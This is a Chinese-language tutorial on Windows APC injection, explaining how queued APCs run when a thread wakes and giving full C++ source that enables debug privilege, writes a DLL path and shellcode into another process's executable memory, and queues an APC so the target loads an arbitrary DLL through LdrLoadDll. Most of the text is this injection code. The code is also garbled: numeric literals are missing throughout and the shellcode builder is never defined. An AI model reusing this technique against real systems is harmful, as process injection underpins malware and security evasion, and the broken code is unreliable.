APC注入

0X01 注入原理

当线程被唤醒时APC中的注册函数会被执行的机制,并依此去调用我们的DLL加载代码,进而完成注入的目的

具体的流程:

1 当EXE里的某个线程执行到sleepEX(),或者waitForSingleObjectEX()(其实还有WaitForMultipleObjectsEx

 , SignalObjectAndWait,MsgWaitForMultipleObjectsEx)这几个函数时,会产生一个软中断。

2 当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。

3.利用QueueUserAPC()这个API可以在软中断的时间内插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的

0x02代码实现

在注入的操作准备前需要提升权限,使我们有足够的权限去对相应的函数进行操作。

  三步。

1先OpenProcessToken()打开令牌,

2然后LookupPrivilegeValue()

3AdjustTokenPrivileges()调整令牌权限,提取完毕进行注入

注入:

1先要根据进程ID,开启我们的远程注入线程。

2开启完毕后,需要进行相应的内存的空间申请VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

拥有自己的空间后就可以根据路径写入待注入的DLL路径。

3 用WriteProcessMemory()函数

4 再根据GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");   //LadrloadDll得到我们LoadLirbrary()地址

5 最后调用sleepEx()函数,利用QueueUserApc()函数对APC队列进行操作,完成注入。这里是因为sleepEx可以触发这个函数

完整代码如下:

// LoadExe.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include <Windows.h>
#include <iostream> using namespace std;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING; typedef struct _INJECT_STRUCT {
UINT_PTR LdrLoadDllAddress; //
UNICODE_STRING DllFullPath; //4,4
HANDLE OutHandle;
} INJECT_STRUCT, *PINJECT_STRUCT;
UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address); BOOL InjectByAPC(int ProcessID, int ThreadID, const char *szDllFullPath);
int GrantDebugPrivileges();
//analyzer.py ---> Start(LoadExeFullPath,Inject,ProcessID,ThreadID,DllPath) LoadExe()
//APC 注入
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{ int ProcessID = ;
int ThreadID = ; if (__argc < )
{
return -;
}
if (!strcmp(__argv[], "Inject"))
{ GrantDebugPrivileges();
ProcessID = atoi(__argv[]);
ThreadID = atoi(__argv[]);
return InjectByAPC(ProcessID, ThreadID, __argv[]);
}
return ;
} //Target,exe
BOOL InjectByAPC(int ProcessID, int ThreadID, const char *szDllFullPath)
{
HANDLE ProcessHandle = NULL;
HANDLE ThreadHandle = NULL;
if (ProcessID <= || ThreadID < )
{
return FALSE;
}
printf("Success\r\n");
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID); //
if (ProcessHandle == NULL)
{ return FALSE;
} if (ThreadID > ) {
ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);
if (ThreadHandle == NULL)
{
CloseHandle(ProcessHandle);
return FALSE;
}
} //malloc virtualalloc globalalloc heapalloc new malloc //注入都要在目标进程空间中申请内存 写入Dll的绝对路径
UINT32 DllPathLength = ;
DllPathLength = (UINT32)strlen(szDllFullPath);
WCHAR* wzDllFullPath = (WCHAR*)calloc(, (DllPathLength + ) * sizeof(WCHAR)); //在LoadEx进程空间中
if (wzDllFullPath == NULL)
{ return FALSE;
}
for (int i=;i<DllPathLength;i++)
{
wzDllFullPath[i] = (UINT16)szDllFullPath[i];
} //单字转换双字 WCHAR* wzDllFullPathData = (WCHAR*)VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + ) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (wzDllFullPathData == NULL)
{
free(wzDllFullPath);
wzDllFullPath = NULL; return FALSE;
}
SIZE_T ReturnSize = ;
if (!WriteProcessMemory(ProcessHandle, wzDllFullPathData, wzDllFullPath, (wcslen(wzDllFullPath) + ) * sizeof(WCHAR), &ReturnSize))
{ free(wzDllFullPath);
wzDllFullPath = NULL; return FALSE;
}
LPVOID LdrLoadDll;
LdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll"); //LadrloadDll INJECT_STRUCT InjectStruct = {}; InjectStruct.LdrLoadDllAddress = (UINT_PTR)LdrLoadDll;
InjectStruct.DllFullPath.Buffer = wzDllFullPathData;
InjectStruct.DllFullPath.Length = InjectStruct.DllFullPath.MaximumLength = (USHORT)(wcslen(wzDllFullPath) * sizeof(WCHAR)); PINJECT_STRUCT InjectStructData = NULL;
InjectStructData = (PINJECT_STRUCT)VirtualAllocEx(ProcessHandle, NULL, sizeof(INJECT_STRUCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (InjectStructData == NULL)
{
free(wzDllFullPath);
wzDllFullPath = NULL; return FALSE;
} if (!WriteProcessMemory(ProcessHandle, InjectStructData, &InjectStruct, sizeof(INJECT_STRUCT), &ReturnSize))
{
free(wzDllFullPath);
wzDllFullPath = NULL; return FALSE;
}
char szShellCode[] = {};
UINT32 ShellCodeSize = MakeShellCode((UINT8*)szShellCode, InjectStructData); CHAR* szShellCodeData = NULL;
szShellCodeData =(CHAR*)VirtualAllocEx(ProcessHandle, NULL, ShellCodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (szShellCodeData == NULL)
{
free(wzDllFullPath);
wzDllFullPath = NULL; return FALSE;
} if (!WriteProcessMemory(ProcessHandle, szShellCodeData, szShellCode, ShellCodeSize, &ReturnSize))
{
free(wzDllFullPath);
wzDllFullPath = NULL; return FALSE;
} if (ThreadHandle)
{ if(!QueueUserAPC((PAPCFUNC)szShellCodeData,ThreadHandle, (ULONG_PTR)InjectStructData))
{
free(wzDllFullPath);
wzDllFullPath = NULL;
return FALSE;
} } free(wzDllFullPath);
wzDllFullPath = NULL;
return TRUE;
} int GrantDebugPrivileges()
{
HANDLE TokenHandle = NULL;
TOKEN_PRIVILEGES PrivilegesToken;
LUID v1;
int iRet; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
{
return ;
} if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &v1))
{
CloseHandle(TokenHandle);
return ;
}
PrivilegesToken.PrivilegeCount = ;
PrivilegesToken.Privileges[].Luid = v1;
PrivilegesToken.Privileges[].Attributes = SE_PRIVILEGE_ENABLED; iRet = AdjustTokenPrivileges(TokenHandle, FALSE, &PrivilegesToken, sizeof(PrivilegesToken), NULL, NULL);
CloseHandle(TokenHandle); return iRet;
}
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